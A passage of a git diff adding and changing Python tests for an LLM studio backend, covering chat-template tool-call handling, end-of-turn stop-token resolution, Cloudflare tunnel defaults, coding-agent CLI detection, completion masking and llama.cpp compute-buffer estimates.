+    out = _normalize_tool_call_arguments(_conv("not json"))
+    assert out[1]["tool_calls"][0]["function"]["arguments"] == "not json"
+
+
+def test_render_succeeds_on_strict_template_with_string_arguments():
+    # Regression: strict template + string args used to raise.
+    result = apply_chat_template_for_generation(_StrictTemplateTokenizer(), _conv('{"query": "x"}'))
+    assert result == "RENDERED"
+
+
+class _RecordingTokenizer:
+    """Lenient template: renders whatever arguments it is given (string or dict)."""
+
+    def __init__(self):
+        self.seen_arguments = None
+
+    def apply_chat_template(
+        self,
+        messages,
+        *,
+        tokenize = False,
+        add_generation_prompt = True,
+        **kw,
+    ):
+        for msg in messages:
+            for call in msg.get("tool_calls", []) or []:
+                self.seen_arguments = call.get("function", {}).get("arguments")
+        return "RENDERED"
+
+
+def test_lenient_template_receives_original_string_untouched():
+    # Lenient template must see the exact original string, not a coerced dict.
+    tok = _RecordingTokenizer()
+    apply_chat_template_for_generation(tok, _conv('{"query": "x"}'))
+    assert tok.seen_arguments == '{"query": "x"}'
+
+
+def test_messages_without_tool_calls_pass_through_unchanged():
+    conv = [{"role": "user", "content": "hi"}]
+    assert _normalize_tool_call_arguments(conv) is conv
+
+
+class _RaiseExceptionTemplateTokenizer:
+    """Mimics the bundled gemma-4.jinja: rejects string tool_call arguments via
+    ``raise_exception(...)``, which surfaces as a Jinja error, NOT a TypeError."""
+
+    def apply_chat_template(
+        self,
+        messages,
+        *,
+        tokenize = False,
+        add_generation_prompt = True,
+        **kw,
+    ):
+        for msg in messages:
+            for call in msg.get("tool_calls", []) or []:
+                args = call.get("function", {}).get("arguments")
+                if isinstance(args, str):
+                    raise ValueError(
+                        "chat_template: tool_calls[].function.arguments must be a "
+                        "JSON object (mapping), not a string."
+                    )
+        return "RENDERED"
+
+
+def test_render_succeeds_on_raise_exception_template_with_string_arguments():
+    # Regression: gemma-4.jinja rejects string args via a non-TypeError; retry must still coerce.
+    result = apply_chat_template_for_generation(
+        _RaiseExceptionTemplateTokenizer(), _conv('{"query": "x"}')
+    )
+    assert result == "RENDERED"
+
+
+def test_unrelated_template_error_still_propagates_with_dict_args():
+    # Failure unrelated to string args (dict args, nothing to coerce) must propagate.
+    class _AlwaysRaises:
+        def apply_chat_template(self, messages, **kw):
+            raise ValueError("template is broken")
+
+    with pytest.raises(ValueError, match = "broken"):
+        apply_chat_template_for_generation(_AlwaysRaises(), _conv({"query": "x"}))
diff --git a/studio/backend/tests/test_chat_turn_end_eos.py b/studio/backend/tests/test_chat_turn_end_eos.py
new file mode 100644
index 0000000000..c49e39f8fe
--- /dev/null
+++ b/studio/backend/tests/test_chat_turn_end_eos.py
@@ -0,0 +1,150 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""chat_eos: resolve assistant-turn-end stop tokens from the chat_template and
+repair generation_config so a chat model whose eos is a bare document terminator
+(Qwen3.5: config eos <|endoftext|>, turns end with <|im_end|>) stops at the turn
+boundary instead of running past it and looping. Dependency-light: imported here
+without the full inference stack.
+"""
+
+from __future__ import annotations
+
+import sys
+from pathlib import Path
+
+_BACKEND = Path(__file__).resolve().parent.parent
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+from core.inference.chat_eos import (  # noqa: E402
+    chat_eos_repair,
+    resolve_chat_turn_end_eos_ids,
+    resolve_chat_turn_end_eos_ids_using,
+)
+
+
+class _FakeTokenizer:
+    def __init__(
+        self,
+        eos_id,
+        chat_template = "",
+        token_ids = None,
+        unk_token_id = None,
+    ):
+        self.eos_token_id = eos_id
+        self.chat_template = chat_template
+        self.unk_token_id = unk_token_id
+        self._ids = dict(token_ids or {})
+
+    def convert_tokens_to_ids(self, tok):
+        return self._ids.get(tok, self.unk_token_id)
+
+
+# ---- resolve_chat_turn_end_eos_ids ---------------------------------------
+
+_CHATML = "{% for m in messages %}<|im_start|>{{m.role}}\n{{m.content}}<|im_end|>{% endfor %}"
+
+
+def test_qwen35_adds_im_end_from_template():
+    # eos synced to <|endoftext|> (248044); template uses <|im_end|> (248046).
+    tok = _FakeTokenizer(248044, chat_template = _CHATML, token_ids = {"<|im_end|>": 248046})
+    assert resolve_chat_turn_end_eos_ids(tok) == [248044, 248046]
+
+
+def test_marker_in_vocab_but_not_in_template_is_ignored():
+    # Base/coder model: <|im_end|> is in the vocab but the template does not use
+    # it, so it must not become a stop token.
+    tok = _FakeTokenizer(248044, chat_template = "{{ messages }}", token_ids = {"<|im_end|>": 248046})
+    assert resolve_chat_turn_end_eos_ids(tok) == [248044]
+
+
+def test_harmony_template_is_left_untouched():
+    # gpt-oss/harmony: <|end|> is a channel delimiter, not the turn end.
+    harmony = "<|start|>assistant<|channel|>analysis<|message|>...<|end|>"
+    tok = _FakeTokenizer(200002, chat_template = harmony, token_ids = {"<|end|>": 200007})
+    assert resolve_chat_turn_end_eos_ids(tok) == [200002]
+
+
+def test_llama3_eot_id_from_template():
+    tok = _FakeTokenizer(128001, chat_template = "...<|eot_id|>...", token_ids = {"<|eot_id|>": 128009})
+    assert resolve_chat_turn_end_eos_ids(tok) == [128001, 128009]
+
+
+def test_gemma4_turn_marker_from_template():
+    # Gemma-4 ends turns with <turn|> while keeping a document eos, so <turn|> must
+    # be added as a stop token.
+    tok = _FakeTokenizer(
+        1, chat_template = "...<start_of_turn>...<turn|>...", token_ids = {"<turn|>": 106}
+    )
+    assert resolve_chat_turn_end_eos_ids(tok) == [1, 106]
+
+
+def test_resolve_using_reads_markers_from_template_but_ids_from_generation_tokenizer():
+    # map_eos_token=True: the mapped template remaps <|im_end|> onto the doc-eos id,
+    # but the original keeps it atomic. Reading marker STRINGS from the template but
+    # IDS on the original recovers the real turn-end id (7), not the doc-eos id (2).
+    template_tok = _FakeTokenizer(2, chat_template = _CHATML, token_ids = {"<|im_end|>": 2})
+    id_tok = _FakeTokenizer(2, chat_template = "", token_ids = {"<|im_end|>": 7})
+    assert resolve_chat_turn_end_eos_ids_using(template_tok, id_tok) == [2, 7]
+    # Same tokenizer for both reproduces the plain resolve (load-time behaviour).
+    assert resolve_chat_turn_end_eos_ids_using(template_tok, template_tok) == [2]
+
+
+def test_list_eos_preserved():
+    tok = _FakeTokenizer([1, 2], chat_template = _CHATML, token_ids = {"<|im_end|>": 2})
+    assert resolve_chat_turn_end_eos_ids(tok) == [1, 2]
+
+
+def test_missing_marker_maps_to_unk_and_is_skipped():
+    tok = _FakeTokenizer(7, chat_template = _CHATML, token_ids = {}, unk_token_id = 0)
+    assert resolve_chat_turn_end_eos_ids(tok) == [7]
+
+
+def test_starling_barred_end_of_turn_from_template():
+    # OpenChat/Starling end turns with the BARRED <|end_of_turn|> (distinct from
+    # Gemma's <end_of_turn>). eos synced to </s>=2, turn marker at 32000.
+    starling = "GPT4 Correct Assistant: hi<|end_of_turn|>"
+    tok = _FakeTokenizer(2, chat_template = starling, token_ids = {"<|end_of_turn|>": 32000})
+    assert resolve_chat_turn_end_eos_ids(tok) == [2, 32000]
+
+
+def test_dict_chat_template_scans_all_variants():
+    # Hermes-3 style: chat_template is a {name: template} dict. Detection must scan
+    # every variant, not bail because the container is not a plain str.
+    tmpl = {"default": "{{ messages }}", "tool_use": _CHATML}
+    tok = _FakeTokenizer(2, chat_template = tmpl, token_ids = {"<|im_end|>": 5})
+    assert resolve_chat_turn_end_eos_ids(tok) == [2, 5]
+
+
+def test_list_of_dicts_chat_template_scans_all_variants():
+    # tokenizer_config.json stores multi-templates as a list of {name, template}.
+    tmpl = [{"name": "default", "template": _CHATML}]
+    tok = _FakeTokenizer(2, chat_template = tmpl, token_ids = {"<|im_end|>": 5})
+    assert resolve_chat_turn_end_eos_ids(tok) == [2, 5]
+
+
+def test_dict_harmony_template_left_untouched():
+    # A multi-variant container whose variant is harmony must still be left alone.
+    tmpl = {"default": "<|start|>assistant<|channel|>analysis<|message|>...<|end|>"}
+    tok = _FakeTokenizer(200002, chat_template = tmpl, token_ids = {"<|end|>": 200007})
+    assert resolve_chat_turn_end_eos_ids(tok) == [200002]
+
+
+# ---- chat_eos_repair ------------------------------------------------------
+
+
+def test_repair_adds_missing_turn_end():
+    assert chat_eos_repair(248044, [248044, 248046]) == [248044, 248046]
+
+
+def test_repair_from_missing_generation_config_eos():
+    assert chat_eos_repair(None, [248046]) == [248046]
+
+
+def test_repair_noop_when_already_covered():
+    assert chat_eos_repair([248046, 248044], [248046]) is None
+
+
+def test_repair_noop_when_no_turn_end_ids():
+    assert chat_eos_repair(248044, []) is None
diff --git a/studio/backend/tests/test_cloudflare_tunnel.py b/studio/backend/tests/test_cloudflare_tunnel.py
index 7904c70a7b..bb51cabf76 100644
--- a/studio/backend/tests/test_cloudflare_tunnel.py
+++ b/studio/backend/tests/test_cloudflare_tunnel.py
@@ -691,13 +691,14 @@ def _argparse_default(source, option):
     return None
 
 
-def test_run_server_cloudflare_default_true():
+def test_run_server_cloudflare_default_off():
     defaults = _func_param_defaults(_RUN_PY.read_text(), "run_server")
-    assert defaults.get("cloudflare") is True
+    assert "cloudflare" in defaults
+    assert defaults["cloudflare"] is None
 
 
-def test_argparse_cloudflare_default_true():
-    assert _argparse_default(_RUN_PY.read_text(), "--cloudflare") is True
+def test_argparse_cloudflare_default_off():
+    assert _argparse_default(_RUN_PY.read_text(), "--cloudflare") is None
 
 
 def test_verify_global_reachability_marks_private_address_unreachable():
@@ -832,6 +833,31 @@ def test_cloudflare_line_states_disabled_when_off(monkeypatch):
     assert "local network only" in out
 
 
+def test_cloudflare_line_labels_unset_as_default(monkeypatch):
+    # None = off by default (no flag) -> banner says "(default)", not "(--no-cloudflare)".
+    out = _run_print_cloudflare_line(
+        monkeypatch,
+        cloudflare_url = None,
+        public_reachable = False,
+        cloudflare_requested = False,
+        cloudflare_flag = None,
+    )
+    assert "Cloudflare tunnel: OFF (default)" in out
+    assert "--no-cloudflare" not in out
+
+
+def test_cloudflare_line_labels_explicit_no_cloudflare(monkeypatch):
+    # False = explicit --no-cloudflare -> banner says "(--no-cloudflare)".
+    out = _run_print_cloudflare_line(
+        monkeypatch,
+        cloudflare_url = None,
+        public_reachable = False,
+        cloudflare_requested = False,
+        cloudflare_flag = False,
+    )
+    assert "Cloudflare tunnel: OFF (--no-cloudflare)" in out
+
+
 def test_cloudflare_line_states_failed_when_requested_but_no_url(monkeypatch):
     out = _run_print_cloudflare_line(
         monkeypatch,
diff --git a/studio/backend/tests/test_coding_agents.py b/studio/backend/tests/test_coding_agents.py
new file mode 100644
index 0000000000..b19da1dded
--- /dev/null
+++ b/studio/backend/tests/test_coding_agents.py
@@ -0,0 +1,50 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for coding-agent CLI detection used by the API-keys settings panel."""
+
+from unittest.mock import patch
+
+from utils.coding_agents import CODING_AGENTS, detect_installed_coding_agents
+
+
+def test_matches_unsloth_start_subcommands():
+    # Each entry must be an actual `unsloth start <agent>` subcommand name
+    # (unsloth_cli/commands/start.py). Spelled out here rather than imported
+    # from that module, which pulls in the CLI's heavier dependencies.
+    assert CODING_AGENTS == ("claude", "codex", "openclaw", "opencode", "hermes", "pi")
+
+
+def test_detects_only_agents_present_on_path():
+    installed = {"claude", "opencode"}
+    with patch(
+        "utils.coding_agents.shutil.which",
+        side_effect = lambda name: f"/usr/bin/{name}" if name in installed else None,
+    ):
+        assert detect_installed_coding_agents() == ["claude", "opencode"]
+
+
+def test_returns_empty_list_when_nothing_is_installed():
+    with patch("utils.coding_agents.shutil.which", return_value = None):
+        assert detect_installed_coding_agents() == []
+
+
+def test_preserves_declared_order_regardless_of_path_lookup_order():
+    with patch(
+        "utils.coding_agents.shutil.which",
+        side_effect = lambda name: name if name in ("pi", "claude", "hermes") else None,
+    ):
+        assert detect_installed_coding_agents() == ["claude", "hermes", "pi"]
+
+
+def test_treats_a_path_lookup_error_as_not_installed():
+    # An advisory check: shutil.which raising for one entry (e.g. a permission
+    # error walking a PATH directory) should not take down the whole endpoint,
+    # and should not stop the remaining agents from being checked.
+    def flaky_which(name: str):
+        if name == "codex":
+            raise OSError("permission denied")
+        return name if name == "claude" else None
+
+    with patch("utils.coding_agents.shutil.which", side_effect = flaky_which):
+        assert detect_installed_coding_agents() == ["claude"]
diff --git a/studio/backend/tests/test_completion_masking.py b/studio/backend/tests/test_completion_masking.py
new file mode 100644
index 0000000000..be0d8a69bd
--- /dev/null
+++ b/studio/backend/tests/test_completion_masking.py
@@ -0,0 +1,314 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Completion-only masking policy: auto-detect first, manual table fallback.
+
+Covers utils.datasets.completion_masking.apply_completion_masking, shared by
+the CUDA trainer (core/training/trainer.py) and the MLX worker
+(core/training/worker.py):
+  - unmapped models use chat template auto-detection (previously masking was
+    silently disabled),
+  - gpt-oss goes auto-first too (its quantized checkpoints ship a template
+    the manual markers cannot match),
+  - an auto-detection failure falls back to the template table markers,
+  - a table miss after an auto failure warns and leaves the trainer unchanged.
+"""
+
+from __future__ import annotations
+
+import pytest
+
+from utils.datasets.completion_masking import apply_completion_masking, lookup_manual_markers
+from utils.datasets.model_mappings import TEMPLATE_TO_RESPONSES_MAPPER
+
+
+class _Trainer:
+    """Sentinel trainer; train_fn wraps it in a new object when applied."""
+
+
+class _Recorder:
+    """Fake train_on_responses_only that records calls."""
+
+    def __init__(self):
+        self.calls = []
+
+    def __call__(self, trainer, **kwargs):
+        self.calls.append(kwargs)
+        wrapped = _Trainer()
+        wrapped.wrapped_from = trainer
+        return wrapped
+
+
+def _detect_ok(processor):
+    return "<INS>", "<RES>"
+
+
+def _detect_fail(processor):
+    raise ValueError(
+        "Unsloth: Could not reliably auto-detect response_part - "
+        "pass instruction_part and response_part."
+    )
+
+
+_AUTO = {"instruction_part": "<INS>", "response_part": "<RES>"}
+
+
+class _Notes:
+    def __init__(self):
+        self.messages = []
+
+    def __call__(self, level, message):
+        self.messages.append((level, message))
+
+    def warnings(self):
+        return [m for level, m in self.messages if level == "warning"]
+
+
+def test_unmapped_model_uses_auto_detection():
+    # Unmapped model: the auto path applies masking (was silently disabled).
+    trainer = _Trainer()
+    train_fn = _Recorder()
+    notes = _Notes()
+
+    result, applied = apply_completion_masking(
+        trainer, "LiquidAI/LFM2-8B-A1B", train_fn, notify = notes, detect_fn = _detect_ok
+    )
+
+    assert applied is True
+    assert result.wrapped_from is trainer
+    assert train_fn.calls == [dict(_AUTO)]  # applied with the detected markers
+    assert notes.warnings() == []
+
+
+def test_mapped_model_prefers_auto_detection():
+    trainer = _Trainer()
+    train_fn = _Recorder()
+
+    _, applied = apply_completion_masking(
+        trainer, "unsloth/Qwen3-0.6B", train_fn, detect_fn = _detect_ok
+    )
+
+    assert applied is True
+    assert train_fn.calls == [dict(_AUTO)]
+
+
+def test_gpt_oss_uses_auto_detection_first():
+    # The quantized gpt-oss checkpoints ship a template without the
+    # <|channel|>final header, where the manual markers match nothing; auto
+    # derives markers from the template the checkpoint actually ships.
+    trainer = _Trainer()
+    train_fn = _Recorder()
+
+    _, applied = apply_completion_masking(
+        trainer, "unsloth/gpt-oss-20b", train_fn, detect_fn = _detect_ok
+    )
+
+    assert applied is True
+    assert train_fn.calls == [dict(_AUTO)]
+
+
+def test_gpt_oss_detection_failure_falls_back_to_manual_markers():
+    trainer = _Trainer()
+    train_fn = _Recorder()
+
+    _, applied = apply_completion_masking(
+        trainer, "unsloth/gpt-oss-20b", train_fn, detect_fn = _detect_fail
+    )
+
+    assert applied is True
+    expected = TEMPLATE_TO_RESPONSES_MAPPER["gpt-oss"]
+    assert train_fn.calls == [
+        {
+            "instruction_part": expected["instruction"],
+            "response_part": expected["response"],
+        }
+    ]
+
+
+def test_auto_failure_falls_back_to_template_table():
+    trainer = _Trainer()
+    train_fn = _Recorder()
+    notes = _Notes()
+
+    result, applied = apply_completion_masking(
+        trainer, "unsloth/Qwen3-0.6B", train_fn, notify = notes, detect_fn = _detect_fail
+    )
+
+    assert applied is True
+    assert result.wrapped_from is trainer
+    expected = TEMPLATE_TO_RESPONSES_MAPPER["qwen3"]
+    assert train_fn.calls == [
+        {
+            "instruction_part": expected["instruction"],
+            "response_part": expected["response"],
+        },
+    ]
+    assert any("falling back to the template table" in m for m in notes.warnings())
+
+
+def test_application_failure_propagates_not_fallback():
+    # Detection succeeds; a failure while APPLYING the masking must propagate,
+    # never silently fall back to full-sequence training.
+    def train_fn(trainer, **kwargs):
+        raise RuntimeError("dataset map worker crashed")
+
+    with pytest.raises(RuntimeError, match = "dataset map worker crashed"):
+        apply_completion_masking(_Trainer(), "LiquidAI/LFM2-8B-A1B", train_fn, detect_fn = _detect_ok)
+
+
+def test_preset_tokenizer_markers_used_directly():
+    # Preset unsloth marker attrs skip detection; zoo reuses them on a bare call.
+    class _Tok:
+        _unsloth_input_part = "<I>"
+        _unsloth_output_part = "<O>"
+
+    trainer = _Trainer()
+    trainer.processing_class = _Tok()
+    train_fn = _Recorder()
+
+    _, applied = apply_completion_masking(
+        trainer, "LiquidAI/LFM2-8B-A1B", train_fn, detect_fn = _detect_fail
+    )
+    assert applied is True
+    assert train_fn.calls == [{}]  # bare call, stored parts
+
+
+def test_table_miss_warns_and_disables_without_crashing():
+    trainer = _Trainer()
+    train_fn = _Recorder()
+    notes = _Notes()
+
+    result, applied = apply_completion_masking(
+        trainer, "some-org/not-in-any-mapper", train_fn, notify = notes, detect_fn = _detect_fail
+    )
+
+    assert applied is False
+    assert result is trainer  # unchanged: full sequence training
+    assert train_fn.calls == []  # detection failed; nothing applied
+    assert any("could not be applied" in m for m in notes.warnings())
+    assert any("full sequences" in m for m in notes.warnings())
+
+
+def test_num_proc_forwarded_only_when_given():
+    # CUDA path passes num_proc; the MLX path omits it.
+    train_fn = _Recorder()
+    apply_completion_masking(
+        _Trainer(), "unsloth/Qwen3-0.6B", train_fn, num_proc = 4, detect_fn = _detect_ok
+    )
+    assert train_fn.calls == [dict(_AUTO, num_proc = 4)]
+
+    train_fn = _Recorder()
+    apply_completion_masking(
+        _Trainer(), "unsloth/Qwen3-0.6B", train_fn, num_proc = 4, detect_fn = _detect_fail
+    )
+    assert train_fn.calls[0]["num_proc"] == 4
+
+    train_fn = _Recorder()
+    apply_completion_masking(_Trainer(), "unsloth/Qwen3-0.6B", train_fn, detect_fn = _detect_ok)
+    assert train_fn.calls == [dict(_AUTO)]
+
+
+def test_manual_fallback_failure_propagates_to_caller():
+    # Errors while applying the manual fallback must propagate to the caller.
+    def train_fn(trainer, **kwargs):
+        raise RuntimeError("boom")
+
+    with pytest.raises(RuntimeError, match = "boom"):
+        apply_completion_masking(_Trainer(), "unsloth/gpt-oss-20b", train_fn)
+
+
+def test_notify_is_optional():
+    train_fn = _Recorder()
+    _, applied = apply_completion_masking(
+        _Trainer(), "some-org/not-in-any-mapper", train_fn, detect_fn = _detect_fail
+    )
+    assert applied is False
+
+
+def test_lookup_manual_markers():
+    template, instruction, response = lookup_manual_markers("unsloth/Qwen3-0.6B")
+    assert template == "qwen3"
+    assert instruction == TEMPLATE_TO_RESPONSES_MAPPER["qwen3"]["instruction"]
+    assert response == TEMPLATE_TO_RESPONSES_MAPPER["qwen3"]["response"]
+
+    template, instruction, response = lookup_manual_markers("some-org/unknown")
+    assert (template, instruction, response) == (None, None, None)
+
+    template, instruction, response = lookup_manual_markers(None)
+    assert (template, instruction, response) == (None, None, None)
+
+
+def test_renamed_gpt_oss_gets_template_markers():
+    # Name-detected as gpt-oss but not in the exact-name table: must use the
+    # gpt-oss markers, not fall through to full-sequence training.
+    trainer = _Trainer()
+    train_fn = _Recorder()
+
+    _, applied = apply_completion_masking(
+        trainer, "some-org/gpt-oss-20b-sft", train_fn, detect_fn = _detect_fail
+    )
+    assert applied is True
+    expected = TEMPLATE_TO_RESPONSES_MAPPER["gpt-oss"]
+    assert train_fn.calls == [
+        {
+            "instruction_part": expected["instruction"],
+            "response_part": expected["response"],
+        }
+    ]
+
+
+class _FakeTokenizerWrapper:
+    """mlx-lm TokenizerWrapper semantics: plain reads delegate to the wrapped
+    tokenizer, underscore attrs do not (so preset markers are hidden)."""
+
+    def __init__(self, tokenizer):
+        object.__setattr__(self, "_tokenizer", tokenizer)
+
+    def __getattr__(self, attr):
+        if attr.startswith("_"):
+            return object.__getattribute__(self, attr)
+        return getattr(object.__getattribute__(self, "_tokenizer"), attr)
+
+
+_FakeTokenizerWrapper.__name__ = "TokenizerWrapper"
+
+
+def test_mlx_tokenizer_wrapper_unwrapped_for_preset_markers():
+    # Markers live on the inner HF tokenizer that the wrapper hides; the helper
+    # must unwrap so the preset bare-call path still fires on MLX.
+    class _Tok:
+        _unsloth_input_part = "<I>"
+        _unsloth_output_part = "<O>"
+
+    trainer = _Trainer()
+    trainer.tokenizer = _FakeTokenizerWrapper(_Tok())
+    train_fn = _Recorder()
+
+    _, applied = apply_completion_masking(
+        trainer, "LiquidAI/LFM2-8B-A1B", train_fn, detect_fn = _detect_fail
+    )
+    assert applied is True
+    assert train_fn.calls == [{}]  # bare call, stored parts
+
+
+def test_mlx_tokenizer_wrapper_unwrapped_for_detection():
+    # Detection must see the real tokenizer, not the wrapper, so it does not
+    # depend on the loader's __call__ patch.
+    class _Tok:
+        pass
+
+    inner = _Tok()
+    trainer = _Trainer()
+    trainer.tokenizer = _FakeTokenizerWrapper(inner)
+    train_fn = _Recorder()
+    seen = []
+
+    def detect(processor):
+        seen.append(processor)
+        return "<INS>", "<RES>"
+
+    _, applied = apply_completion_masking(
+        trainer, "LiquidAI/LFM2-8B-A1B", train_fn, detect_fn = detect
+    )
+    assert applied is True
+    assert seen == [inner]
diff --git a/studio/backend/tests/test_compute_buffer.py b/studio/backend/tests/test_compute_buffer.py
index 42c400383e..8408f8203d 100644
--- a/studio/backend/tests/test_compute_buffer.py
+++ b/studio/backend/tests/test_compute_buffer.py
@@ -61,11 +61,18 @@ from core.inference.llama_cpp import LlamaCppBackend
 MIB = 1024 * 1024
 
 
-def _backend(vocab = 248320, embd = 5120):
+def _backend(
+    vocab = 248320,
+    embd = 5120,
+    mla = None,
+    arch = None,
+):
     """Backend with just the dims the compute-buffer estimate reads."""
     b = LlamaCppBackend.__new__(LlamaCppBackend)
     b._vocab_size = vocab
     b._embedding_length = embd
+    b._key_length_mla = mla  # non-None -> MLA (compressed attention)
+    b._architecture = arch  # GGUF general.architecture (e.g. 'deepseek4')
     return b
 
 
@@ -150,3 +157,197 @@ class TestParallel1Default:
     def test_default_n_parallel(self):
         est = _backend()._estimate_compute_buffer_bytes() / MIB
         assert est < 128
+
+
+class TestContextLinearBuffer:
+    """``_compute_buffer_ctx_bytes``: the flash-attn KQ-mask + attention scratch
+    grow ~linearly with context; the flat estimate above only covers ctx -> 0.
+    Measured slope (q8_0 KV, ubatch 512) was 0.74-2.02 x n_embd; 2 x n_embd is the
+    worst-case upper bound the term must hold to."""
+
+    # (model, n_embd, ctx, measured CUDA0 compute buffer MiB at that ctx, q8_0/ub512)
+    _MEASURED = [
+        ("Qwen3.5-2B", 2048, 262144, 796),
+        ("Qwen3.5-4B", 2560, 262144, 1330),  # worst slope, 2.02 x n_embd
+        ("Qwen3.5-9B", 4096, 262144, 1336),
+        ("Qwen3.6-27B", 5120, 262144, 1360),
+        ("Gemma-4-31B", 5376, 262144, 2392),
+    ]
+
+    def test_zero_by_default(self):
+        # Omitted/zero ctx -> no term (keeps the flat callers unchanged).
+        assert _backend()._compute_buffer_ctx_bytes(0) == 0
+
+    def test_zero_when_embd_missing(self):
+        assert _backend(embd = None)._compute_buffer_ctx_bytes(262144) == 0
+
+    def test_grows_linearly_with_context(self):
+        b = _backend(embd = 4096)
+        a = b._compute_buffer_ctx_bytes(65536)
+        d = b._compute_buffer_ctx_bytes(131072)
+        assert d == pytest.approx(2 * a, rel = 1e-6)
+
+    def test_scales_with_embd(self):
+        # The quantized (dequant-scratch) rate scales with n_embd; f16 (mask) does not.
+        small = _backend(embd = 2048)._compute_buffer_ctx_bytes(131072, cache_type_kv = "q8_0")
+        big = _backend(embd = 5120)._compute_buffer_ctx_bytes(131072, cache_type_kv = "q8_0")
+        assert big > small
+
+    def test_scales_with_ubatch(self):
+        b = _backend(embd = 4096)
+        lo = b._compute_buffer_ctx_bytes(131072, n_ubatch = 256)
+        hi = b._compute_buffer_ctx_bytes(131072, n_ubatch = 1024)
+        assert hi > lo
+
+    @pytest.mark.parametrize("name,embd,ctx,measured", _MEASURED)
+    def test_upper_bounds_measured_compute_growth(self, name, embd, ctx, measured):
+        # flat term + context-linear term must cover the real (q8_0) buffer at full ctx.
+        b = _backend(embd = embd)
+        flat = b._estimate_compute_buffer_bytes(n_parallel = 1)
+        total = (flat + b._compute_buffer_ctx_bytes(ctx, cache_type_kv = "q8_0")) / MIB
+        assert total >= measured, f"{name}: under-reserved {total:.0f} < {measured}"
+
+    def test_worst_case_rate_covers_two_x_embd(self):
+        # >= 2 x n_embd bytes per context token at the default micro-batch (the worst
+        # measured quantized slope, Qwen3.5-4B), so flat + term upper-bounds the buffer.
+        embd = 4096
+        b = _backend(embd = embd)
+        per_tok = b._compute_buffer_ctx_bytes(100000, cache_type_kv = "q8_0") / 100000
+        assert per_tok >= 2 * embd
+
+
+class TestContextBufferKVQuant:
+    """The context-linear rate depends on the KV cache type: a quantized cache adds a
+    context-sized dequant scratch (heavy); f16/bf16/f32 only pays the KQ mask (light).
+    Measured Qwen3.5-4B at 256k: 1.30 GiB (q8_0) vs 0.31 GiB (f16)."""
+
+    def test_quantized_heavier_than_f16(self):
+        b = _backend(embd = 4096)
+        q = b._compute_buffer_ctx_bytes(131072, cache_type_kv = "q8_0")
+        f = b._compute_buffer_ctx_bytes(131072, cache_type_kv = "f16")
+        assert q > f
+
+    def test_none_cache_type_is_f16(self):
+        # None -> f16 (llama.cpp's default); the env-quantized case is covered by the
+        # KV budget's f16 over-reservation, so we take the lighter mask-only rate.
+        b = _backend(embd = 4096)
+        assert b._compute_buffer_ctx_bytes(
+            131072, cache_type_kv = None
+        ) == b._compute_buffer_ctx_bytes(131072, cache_type_kv = "f16")
+
+    @pytest.mark.parametrize("ct", ["f16", "bf16", "f32"])
+    def test_unquantized_uses_mask_only_rate(self, ct):
+        # f16/bf16/f32: KQ mask only, n_ubatch*2 B/tok, independent of n_embd.
+        b_small = _backend(embd = 2048)
+        b_big = _backend(embd = 8192)
+        per_small = b_small._compute_buffer_ctx_bytes(100000, cache_type_kv = ct) / 100000
+        per_big = b_big._compute_buffer_ctx_bytes(100000, cache_type_kv = ct) / 100000
+        assert per_small == per_big  # no n_embd scaling on the f16 path
+        expected = 512 * 2 * LlamaCppBackend._CTX_COMPUTE_F16_MASK_SAFETY  # ubatch 512
+        assert per_small == pytest.approx(expected, rel = 1e-6)
+
+    @pytest.mark.parametrize("ct", ["q8_0", "q5_1", "q4_0", "iq4_nl"])
+    def test_quantized_types_use_heavy_rate(self, ct):
+        embd = 4096
+        b = _backend(embd = embd)
+        per_tok = b._compute_buffer_ctx_bytes(100000, cache_type_kv = ct) / 100000
+        assert per_tok == pytest.approx(
+            LlamaCppBackend._CTX_COMPUTE_BYTES_PER_EMBD * embd, rel = 1e-6
+        )
+
+    def test_f16_covers_measured_mask(self):
+        # f16 buffer is ~mask only (~n_ubatch*2 B/tok); 0.5 x n_embd must cover the
+        # measured Qwen3.5-4B f16 slope (~0.4 x n_embd = 0.31 GiB at 256k).
+        b = _backend(embd = 2560)  # Qwen3.5-4B
+        est = b._compute_buffer_ctx_bytes(262144, cache_type_kv = "f16") / MIB
+        assert est >= 320  # measured 0.31 GiB growth
+
+
+class TestContextBufferMLA:
+    """MLA (compressed attention) needs a smaller quantized dequant scratch than
+    regular attention: measured 0.94 x n_embd on GLM-5.2 and Kimi-K2.7 vs up to
+    2.02x on Qwen/Gemma. Charging the regular rate would badly over-reserve a tight
+    multi-GPU MLA pin (per-device scaling multiplies the error)."""
+
+    def test_mla_lighter_than_regular(self):
+        reg = _backend(embd = 6144, mla = None)._compute_buffer_ctx_bytes(262144, cache_type_kv = "q8_0")
+        mla = _backend(embd = 6144, mla = 256)._compute_buffer_ctx_bytes(262144, cache_type_kv = "q8_0")
+        assert mla < reg
+
+    @pytest.mark.parametrize(
+        "name,embd,ctx,measured",
+        [
+            ("GLM-5.2", 6144, 754688, 4141),  # per-device compute MiB at q8_0
+            ("Kimi-K2.7", 7168, 262144, 1690),
+        ],
+    )
+    def test_mla_rate_covers_measured(self, name, embd, ctx, measured):
+        b = _backend(embd = embd, mla = 256)
+        est = b._compute_buffer_ctx_bytes(ctx, cache_type_kv = "q8_0") / MIB
+        assert est >= measured, f"{name}: MLA under-reserved {est:.0f} < {measured}"
+
+    def test_mla_not_wildly_over(self):
+        # 1.25 x n_embd should stay within ~1.6x of the measured 0.94x (not 2.4x like
+        # the regular 2.25 rate would), so a multi-GPU MLA pin keeps its context.
+        b = _backend(embd = 6144, mla = 256)
+        est = b._compute_buffer_ctx_bytes(754688, cache_type_kv = "q8_0") / MIB
+        assert est <= 4141 * 1.7
+
+
+class TestContextBufferDSV4:
+    """DeepSeek-V4 (deepseek4) reserves a large lightning-indexer / sparse-attention
+    compute buffer the KQ-mask and MLA rates miss (present even with an f16 cache).
+    Measured on UD-Q4_K_XL (ub=512): ~2 GiB at 16k ctx, ~65.5 GiB at 1M. The auto-fit
+    must see this so it does not commit the full 1M train context and OOM (spilling
+    to CPU at ~4 tok/s)."""
+
+    _MEASURED_1M_GIB = 65.5  # 70353790464 B compute-graph reserve that OOM'd at 1M ctx
